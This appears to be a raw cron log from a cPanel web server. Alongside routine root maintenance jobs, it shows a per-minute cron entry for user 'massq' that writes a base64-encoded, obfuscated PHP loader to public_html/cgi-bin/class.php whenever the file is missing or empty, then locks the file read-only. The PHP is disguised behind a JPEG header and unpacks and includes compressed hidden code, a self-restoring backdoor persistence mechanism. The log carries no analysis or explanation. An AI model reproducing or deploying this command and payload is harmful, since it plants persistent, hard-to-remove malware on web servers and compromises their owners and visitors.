Sep  7 11:32:01 server CROND[27850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:32:01 server CROND[27851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:33:01 server CROND[28477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:33:01 server CROND[28478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:33:01 server CROND[28479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:34:01 server CROND[29200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:34:01 server CROND[29201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:34:01 server CROND[29202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:35:02 server CROND[29690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:35:02 server CROND[29691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:35:02 server CROND[29695]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:35:02 server CROND[29694]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:35:02 server CROND[29692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:35:02 server CROND[29693]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 11:35:02 server CROND[29698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:35:02 server CROND[29696]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 11:35:02 server CROND[29700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:36:01 server CROND[30516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:36:01 server CROND[30517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:36:01 server CROND[30518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:37:01 server CROND[30888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:37:01 server CROND[30889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:37:01 server CROND[30890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:38:01 server CROND[31275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:38:01 server CROND[31276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:38:01 server CROND[31277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:39:01 server CROND[31660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:39:01 server CROND[31661]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 11:39:01 server CROND[31662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:39:01 server CROND[31663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:40:01 server CROND[32052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:40:01 server CROND[32055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:40:01 server CROND[32056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:40:01 server CROND[32058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:40:01 server CROND[32057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:40:01 server CROND[32060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:40:01 server CROND[32063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:40:01 server CROND[32059]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:41:01 server CROND[523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:41:01 server CROND[524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:41:01 server CROND[525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:42:01 server CROND[942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:42:01 server CROND[941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:42:01 server CROND[943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:42:01 server CROND[944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:43:01 server CROND[1479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:43:01 server CROND[1480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:43:01 server CROND[1481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:44:01 server CROND[1860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:44:01 server CROND[1861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
